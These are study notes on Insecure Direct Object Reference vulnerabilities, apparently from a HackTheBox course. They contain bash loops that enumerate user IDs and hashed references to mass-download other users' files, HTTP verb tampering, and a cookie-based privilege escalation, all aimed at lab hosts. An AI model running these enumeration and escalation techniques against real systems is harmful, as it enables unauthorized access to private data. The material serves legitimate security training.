IDOR

Insecure Direct Object References

  • lack of solid access-control system
  • use of sequential (calculatable) numbers or user IDs to identify each item

Table of Contents

IDOR in JS (AJAX Calls)

e.g. we are user but want to access functions that only admin can access

find admin functions in front end JS code

Look for:

  • AJAX calls to specific end-points
  • APIs that contain direct object references
function changeUserPassword() {
    $.ajax({
        url:"change_password.php",
        type: "post",
        dataType: "json",
        data: {uid: user.uid, password: user.password, is_admin: is_admin},
        success:function(result){
            //
        }
    });
}

Finding Patterns by Comparing User Roles

we need multiple users and compare their HTTP requests and object references

e.g. 1 of the users can make this call

{
  "attributes" : 
    {
      "type" : "salary",
      "url" : "/services/data/salaries/users/1"
    },
  "Id" : "1",
  "Name" : "User1"

}

The second user cannot make this call. but we can try to repeat the same API call.

Fuzzing IDOR

For example, we see this predicatble naming pattern:

/documents/Invoice_1_09_2021.pdf
/documents/Report_1_10_2021.pdf

Fuzz it using Burp Intruder or OWASP ZAP Fuzzer

<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>

Clean it using GREP

> curl -s "http://SERVER_IP:PORT/documents.php?uid=1" | grep "<li class='pure-tree_link'>"

<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>

Clean it more using GREP

curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"

/documents/Invoice_3_06_2020.pdf
/documents/Report_3_01_2020.pdf

Fuzz it using bash code

#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..10}; do
        for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
                wget -q $url/$link
        done
done

Bash code I (asked chat) to write for the capstone of this chapter /payload_executables/idor_download_pdf.sh

Hashed/Encrypted Nonsequential References

?filename=ZmlsZV8xMjMucGRm this is base64

download.php?filename=c81e728d9d4c2f636f067f89cc14862c this may appear safe, but this is the source code:

$.ajax({
    url:"download.php",
    type: "post",
    dataType: "json",
    data: {filename: CryptoJS.MD5('file_1.pdf').toString()},
    success:function(result){
        //
    }
});

e.g. in burp suite, the intercepted traffic shows that

contract=cdd96d3cc73d1dbdaffa03cc6cd7339b

We can attempt to hash various values, like uid, username, filename .... see if md5 matches

> echo -n 1 | md5sum

c4ca4238a0b923820dcc509a6f75849b -

utilize Burp Comparer and fuzz various values and then compare each to our hash

if we can't find matches, this would be a Secure Direct Object Reference

However, some developers make the mistake of containing code in the front end js file

function downloadContract(uid) {
    $.redirect("/download.php", {
        contract: CryptoJS.MD5(btoa(uid)).toString(),
    }, "POST", "_self");
}

In this case, the value being hashed is btoa(uid), which is the base64 encoded string of the uid variable, which is an input argument for the function. Going back to the earlier link where the function was called, we see it calling downloadContract('1'). So, the final value being used in the POST request is the base64 encoded string of 1, which was then md5 hashed.

> echo -n 1 | base64 -w 0 | md5sum

cdd96d3cc73d1dbdaffa03cc6cd7339b -

an example mass enumeration script would look like:

#!/bin/bash

for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done

an example fuzzer for the exercise: payload_executable/idor_base64_fuzzer.sh

IDOR in API

  • IDOR Information Disclosure Vulnerabilities allow us to read various resources
  • IDOR Insecure Function Calls enable us to call APIs or execute functions as another user
    • change another user's private information
    • reset another user's password
    • buy items using another user's payment information

Note: In many cases, we may be obtaining certain information through an information disclosure IDOR and then use the with IDOR insecure function call vulnerabilities

For the excersise, it asks what is the uuid of the user whose uid = 5? In the web application
idor_in_api.png

idor_in_api_render.pngWhat I did is just to use HTTP Verb Tampering to change the PUT to GET, and then change the url from /profile/api.php/profile/2 to /profile/api.php/profile/5

Chaining IDORs

As seen in the images, using HTTP Verb Tampering, we obtained the uuid of uid=5, and we could take advantage of this information.
chaining_idor.png

Another example is, we find the admin role name

{
    "uid": "X",
    "uuid": "a36fa9e66e85f2dd6f5e13cad45248ae",
    "role": "web_admin",
    "full_name": "administrator",
    "email": "webadmin@employees.htb",
    "about": "HTB{FLAG}"
}

And we take advantage of this to escalate our user privilege (change our role to web_admin)
Cookie: role=web_admin
idor_priv_esc_cookie.pngNow, we can use functions that only admins can.

Exercise:

HTTP/1.1 200 OK
Date: Sat, 21 Dec 2024 18:42:14 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 185
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

{"uid":"10","uuid":"bfd92386a1b48076792e68b596846499","role":"staff_admin","full_name":"admin","email":"admin@employees.htb","about":"Never gonna give you up, Never gonna let you down"}

change admin's email to flag@idor.htb

{"uid":"10","uuid":"bfd92386a1b48076792e68b596846499","role":"staff_admin","full_name":"admin","email":"flag@idor.htb","about":"Never gonna give you up, Never gonna let you down"}

Afterwords

Even after building a solid access control system, we should never use object references in clear text or simple patterns (e.g. uid=1). We should always use strong and unique references, like salted hashes or UUID's. For example, we can use UUID V4 to generate a strongly randomized id for any element, which looks something like (89c9b29b-d19f-4515-b2dd-abb6e693eb20).